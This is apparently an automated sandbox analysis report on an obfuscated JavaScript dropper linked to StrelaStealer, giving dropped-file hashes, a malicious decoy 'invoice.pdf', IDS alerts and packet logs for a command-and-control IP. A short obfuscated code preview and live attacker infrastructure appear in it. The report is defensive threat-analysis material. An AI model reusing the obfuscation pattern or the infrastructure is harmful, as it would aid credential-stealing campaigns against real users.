Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\500f5c47-350e-4d3f-aceb-545fa757c35f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yKwYIGNP4bdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oBGZd:bwZG6b3mlind9i4ufFXpAXkrfUs0qWLa
MD5:	EF8F96A2C4EE626608AEDA68E1ED881E
SHA1:	41ACD76C77CD5382CBD9EB7FCC4F05F4F9F33E74
SHA-256:	30CB6A670177CCB0211AC49C0B16188EB2BAF35B6F0E3241F866696B56DA0F5C
SHA-512:	D53658CE1A1E4564C9AA9E5C00A696FF0806EFCE54CD435AA0648BE24DF706D142CDF377B3AE9CED828987C4B7C2AD86F7613C0968DDD476B4618CF66406FFE0
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6249d181-c7a2-467a-8b54-c96bb3943ea8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7ffe310c-f813-40e1-b11b-7421ee95a8e2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17032), with CRLF line terminators
Entropy (8bit):	4.9218832594328195
TrID:
File name:	1187225758523111660.js
File size:	20'453 bytes
MD5:	cd921d8fc4952881df07c9063bf54bd0
SHA1:	4425c18dfc4af8565dcdc4c1bf9f3aed99116a45
SHA256:	2bec476f109d60b3edb1d31edb579a4b1181563c8de0598cdf942f8561c9b02c
SHA512:	c2b6d6fc2d9a978a3ed17dab5042bc4530213a12b2a1b7b798eecc339c4f290ddb4bfd35f216235a740de2dda2a3f95c168bf753c9784c73875185fcfa9befec
SSDEEP:	384:/ylr1IQOfcL9+RwGrJ6SChooe50VJd03MMwGLFNY7J:GT+RwGrJ6SChohaVA3IGLFNYV
TLSH:	CE9252595424CACFE1E128F2C9C25DF73335020F89AAC9E585FB68C20F6177AA5E4A34
File Content Preview:	function wmqrt(){hovnax=[1031,3079,5127,4103,2055,3072];var xhepv=this[ewssjmmc+xbqpqidx+svrjpi+qotoam+xtawobj+gbnein+bvrzm+riwoly](this[urxddk+ituyz+jbpebjqsd+svrjpi+vshjvh+ewssjmmc+riwoly][dqjstfnlb+svrjpi+xtawobj+xbqpqidx+riwoly+xtawobj+rkydkbamz+jumjo

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:40:28.945192+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T01:40:28.945192+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T01:40:31.123651+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:40:28.138991117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:28.143855095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.143927097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:28.146831989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:28.151592016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.945041895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.945064068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.945075989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.945086956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.945099115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.945111036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.945123911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.945135117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.945146084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.945158958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.945192099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:28.945274115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:28.950076103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.987585068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.987624884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:28.987690926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.030006886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.065855026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.065881014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.065892935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.065906048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.065920115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.065977097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.066265106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.066287994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.066315889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.066493988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.066521883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.066533089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.066540003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.066577911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.066579103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.066590071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.066631079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.067413092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.067425966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.067437887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.067450047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.067461014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.067478895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.068021059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.068046093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.068058014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.068084955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.068092108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.068104029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.068140030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.121227980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.121280909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.121320009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.121319056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.121388912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.157447100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.157463074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.157532930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.186875105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.186918020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.186976910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.186981916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.187011003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.187046051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.187063932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.187078953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.187115908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.187386036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.187421083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.187465906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.187634945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.187668085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.187701941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.187717915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.188091993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.188124895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.188138008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.188159943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.188191891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.188210011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.188225985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.188257933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.188271046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.188296080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.188344002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.188812971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.188847065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.188884974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.188896894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.188930035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.188965082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.188971996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.188997030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.189030886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.189040899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.189809084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.189842939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.189857960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.189879894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.189912081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.189943075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.189949036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.189964056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.189979076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.189989090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.190018892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.190537930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.190548897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.190561056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.190584898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.190597057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.190608978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.190620899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.190634012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.190638065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.190659046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.191414118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.191471100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.191494942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.212702990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.212718964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.212738037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.212749004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.212755919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.212762117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.212791920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.212835073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.230813980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.230830908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.230926991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.249202967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.249219894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.249231100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.249304056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.278470039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.278498888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.278598070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.308413029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.308432102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.308451891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.308489084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.308521986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.308557987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.308588982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.308603048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.308614016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.308631897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.308634996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.308645010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.308664083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.308670998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.308701992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.308723927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.308969021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309005022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.309078932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309089899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309102058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309112072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309117079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.309123993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309134960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309145927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.309173107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.309448004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309571028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309581995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309592962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309603930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309603930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.309616089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309627056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309638023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309643030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.309648991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.309669018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.310264111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.310275078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.310286999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.310297012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.310305119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.310308933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.310324907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.310328007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.310339928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.310347080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.310350895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.310362101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.310373068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.310374022 CET	49730	80	192.168.2.4	193.143.1.205
